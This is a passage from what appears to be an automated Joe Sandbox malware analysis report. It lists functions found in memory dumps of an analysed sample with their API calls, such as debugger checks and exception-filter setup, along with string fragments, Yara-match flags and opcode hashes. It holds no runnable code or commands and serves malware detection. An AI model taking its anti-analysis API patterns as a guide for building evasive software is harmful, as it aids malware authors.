Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: f33c18db427eaeebba9e681529b6c284345b3b4ec1bbcbe4dd33270660cdf067
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: BF023D71E012199FDF14DFA9C8806AEFBB5FF48314F2486A9D91AE7380D735A941CB90

Function 04D1FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: ef75e5bcafa573f2347dab8e8a38a2d76eb75183e3a390af3cc4ba0f52624deb
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 4A024C71E002299BDF15CFA8D9806AEFBF1FF48318F14826AD919EB350D731A941CB90

Function 0099C618 Relevance: 6.1, Strings: 4, Instructions: 1083COMMON

Download Yara Rule

Strings

8_~, xrefs: 0099D272
(RY, xrefs: 0099C6C1
n?{, xrefs: 0099C90A
;I+`, xrefs: 0099C6A2

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: n?{$8_~$;I+`$(RY
API String ID: 0-294388136
Opcode ID: b0ac56f8f82b491aee345314d5fff591ce9236cbc62b6721a99636be455af2f2
Instruction ID: 38838bfe3369896ace514f2ea1cbd4a50dabfec57922afbd8c85a51aea660c25
Opcode Fuzzy Hash: b0ac56f8f82b491aee345314d5fff591ce9236cbc62b6721a99636be455af2f2
Instruction Fuzzy Hash: 4D72F7F36082049FE704AE2DEC8577ABBE5EF94320F1A453DEAC4C7744EA3598048697

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 04B5A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B5A7BD
IsDebuggerPresent.KERNEL32 ref: 04B5A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B5A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B5A8B3

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: ce7d8a990a125433c030e44fd928b2eef5c0e504062ea3d6288759401a5ebb2e
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 5131F975D0521DDBDB10DFA4D9897CCBBB8BF08304F1041EAE80DAB250EB71AA858F45

Function 04D122C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

p.@P.@0.@, xrefs: 04D124C5
P.@, xrefs: 04D124A2
0.@, xrefs: 04D12498
p.@, xrefs: 04D124A9

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: ae322d84844720afdb067d78e95b0a682a5fa32f7470049877e6fd77c53bf3cf
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 95F1AF71B00205ABDB14DF68EC81BA9B7B1FF48304F1441A9ED09EB691D772F851CBA4

Function 04B5D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B52A70), ref: 04B5D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B52A70), ref: 04B5D10C
UnhandledExceptionFilter.KERNEL32(04B5274A,?,?,?,?,?,04B52A70), ref: 04B5D119

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: 3eb19bbb1e8743bae8607edd19f79446217a1b1db28049f22dd681906eab74b4
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: 3431A87490122D9BCB21DF64DC887CDBBB8BF18310F5041EAE81CA7260E7709B858F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 009A10F3 Relevance: 4.0, Strings: 2, Instructions: 1548COMMON

Download Yara Rule

Strings

V]`K, xrefs: 009A17DA
Vlr, xrefs: 009A1BDC

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: V]`K$Vlr
API String ID: 0-730289459
Opcode ID: 709c40c2755ebcd39f974f42eae70ec3f87ffaeaee7a63443cc800e64eddafd3
Instruction ID: 07361cae00bd95fb06167ce5ce5c124dfc805292b95b2ad1eda6b4ace750739c
Opcode Fuzzy Hash: 709c40c2755ebcd39f974f42eae70ec3f87ffaeaee7a63443cc800e64eddafd3
Instruction Fuzzy Hash: 8FB2D4F3A0C2009FE704AE29DC8567AFBE9EF94720F16892DE6C4C7744E63598418797

Function 04B5092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 04B509DC, 04B509DF, 04B509E4
l, xrefs: 04B50966
., xrefs: 04B5095F

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4de6485bf74011bf796b56fbb2e865805ccd799282971c35517f1f1da47f014d
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5E3128B6900609DFEB10DF99C880BAEFBF5FF48324F15408AD941A7264D771EA45CBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,BC1B9E62), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 04D29706 Relevance: 3.0, APIs: 1, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D2991D

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction ID: 3ceea35eced182c23791b50b318f8faa5b67be307407db1b8b3b7a5bbf213304
Opcode Fuzzy Hash: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction Fuzzy Hash: 6FD21771E082298FDB65CE28DE807EAB7B5FB54319F1441EAD44DE7240E778AE818F41

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

0Z@, xrefs: 0040F0D1, 0040F0D7
Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70
0, xrefs: 0040ED0B

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 0084C79E Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

tJ{O, xrefs: 0084C8D7
tJ{O, xrefs: 0084C8A3

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: tJ{O$tJ{O
API String ID: 0-1690512927
Opcode ID: d55ca0b0be04d9d79e94e28fe557e8144072a1e096b135d78e3706f28efe826e
Instruction ID: 09d7936ea4a0114714571412737ea970d811a7bb979e2e22766c7377f996692a
Opcode Fuzzy Hash: d55ca0b0be04d9d79e94e28fe557e8144072a1e096b135d78e3706f28efe826e
Instruction Fuzzy Hash: D07117F3A096105FE314AE29DC8573BBBE6DBC4720F17853EE688D3784E93848418696

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 004156EE Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004156E9,?,?,00000008,?,?,0041C64A,00000000), ref: 0041591B

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 5bcf9fd90164e7ff1602427bca0bed587a5bb36a9d426d5c8fdac6ccf5812400
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 72B16C71520A08CFD715CF28C48ABE57BE0FF85364F258659E8A9CF2A1C339D992CB45

Function 04B65955 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B65950,?,?,00000008,?,?,04B6C8B1,00000000), ref: 04B65B82

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 542ece185a873222a589ad7a5120ed6f0d1c4b0119d7ead33cc947e14472805f
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: A1B14431210609EFD725CF28D486B657BE0FF45365F198698E8DACF2A1D339E992CB40

Function 04B5F130 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04B5F2A0

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 691cd842436fe191f8216e3d12e0597b066f85450cbe4d01b5a8392b255c3974
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: EEC110B4A006069FEF24DFA8D584B7AFBB1EF05304F144699EC92976B0D732B906CB51

Function 04D1E2C9 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04D1E439

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 02a8ff658496655d015d078052b635dcca76102bb4184a293d30b370d0ced90f
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 80C10470A00606AFEB25CF68E58867ABBB1FF45304F184A19DC96D76B1E331F941CB61

Function 04B5EDEE Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04B5EF72

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: c1168f817558b5971782aee2c812ac9422da8389a44a27d08a8e35e874ce156e
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 5BB19270A0070A8BEB64DF68C554BBEF7A5EB04304F184A9DED56976B0DB31FA02CB51

Function 04D1DF87 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04D1E10B

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: 4dfb10ef613b862fe5038e964e6f5fe5922c060acd0c7894a0cf1814488291e2
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: C2B1C270B0464ABBDB28CF68E994ABEB7A1BF05304F04061DDD9297AB0D731F641CB91

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 04B5A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04B5A2CB), ref: 04B5A94C

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 00944675 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

Fz~, xrefs: 009446AB

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: Fz~
API String ID: 0-2104087601
Opcode ID: 0bbe5a6701a7724995b756e2cfa13e0014b394e19cbdb46e0eb4ac4092ae18e0
Instruction ID: 147208f2a4d2934106e2702e44517daafb5ad8ea27cc7368ee1a0773de9237ff
Opcode Fuzzy Hash: 0bbe5a6701a7724995b756e2cfa13e0014b394e19cbdb46e0eb4ac4092ae18e0
Instruction Fuzzy Hash: 365148F3F181005BF314592DEC447A6BA97EBD4320F2F453DE68997B84EC7D99068286

Function 00415E19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: cacb134cf45b6d3893a07543428c3496bc224f7c3d1c732b13d01dd1be495d2a
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: DF323631E29F015DD7239A35D922336A649AFB73C4F56C737E815B5AA9EF28C4C34108

Function 04D25219 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: b588818a10583b386a8d1b225166a3e8ea7cfcd89d675b0e819c846440e552c4
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: 12322321E29F115DD7239A35DA32335A788AFB73D8F55C737E826B59A5EF28D0834100

Function 04D24AEE Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 111b2cb0d42b376ba07cefdb134750e80a4c6a9711b02841148de646a7bf4e4e
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 7CB13A31610618DFD715CF28C68AB657BE0FF55368F298658E8DACF2A1C335E992CB40

Function 009390A7 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb369751fcaea95dd2d3021112903a4226d57a37dd9da3f512e7a46f3ea1186e
Instruction ID: 3f12bfc3b1becf77e9cfc9759eb9ed17910f5f2cdb9fad0585507332fed4b428
Opcode Fuzzy Hash: fb369751fcaea95dd2d3021112903a4226d57a37dd9da3f512e7a46f3ea1186e
Instruction Fuzzy Hash: D35134B3E082149BF3506979DC4877AB7E9EB84320F1A463DDEC8D77C0E97A5C058682

Function 0091C7F6 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b86c5227ef57c3befcb0594b62674ba0939bad5a6faab5a861dce8658d97af1
Instruction ID: 991de7e42c96a268817363b480c1631f49d5248f3696c919f311aa15ae1ba850
Opcode Fuzzy Hash: 9b86c5227ef57c3befcb0594b62674ba0939bad5a6faab5a861dce8658d97af1
Instruction Fuzzy Hash: 2E6146F3E086144FE314AE6CDC9576ABBD6EBA4310F1A863CDE88D7384E97D5D008285

Function 00939B50 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00a8cd6a911ae0a54121dc3cfe553d50641ae65197e1b28486b63dc6f327012
Instruction ID: c6a40389a6a577b01e34461c0b7bfdeb62bd68c2b5f34b1725880dad0db98cc4
Opcode Fuzzy Hash: d00a8cd6a911ae0a54121dc3cfe553d50641ae65197e1b28486b63dc6f327012
Instruction Fuzzy Hash: A351F8F3A082009FE308AE19DC8577AB7E6EBD8310F1A853DEAC587340E97959158797

Function 0085252E Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e6c23a1e68cb3c1e61c29b652b7a58951af01dd8a12f5b86f71209b240353b5
Instruction ID: 32b82527f9e20fe682e1b1bd5b92854bcdff8791eac6690da31ff73bd2b2e8c8
Opcode Fuzzy Hash: 1e6c23a1e68cb3c1e61c29b652b7a58951af01dd8a12f5b86f71209b240353b5
Instruction Fuzzy Hash: 1B51F9F3A082005FF3046E3DDD8576AB7D9EBD4320F5A853DEAC4D7384E97998058692

Function 0094BB62 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

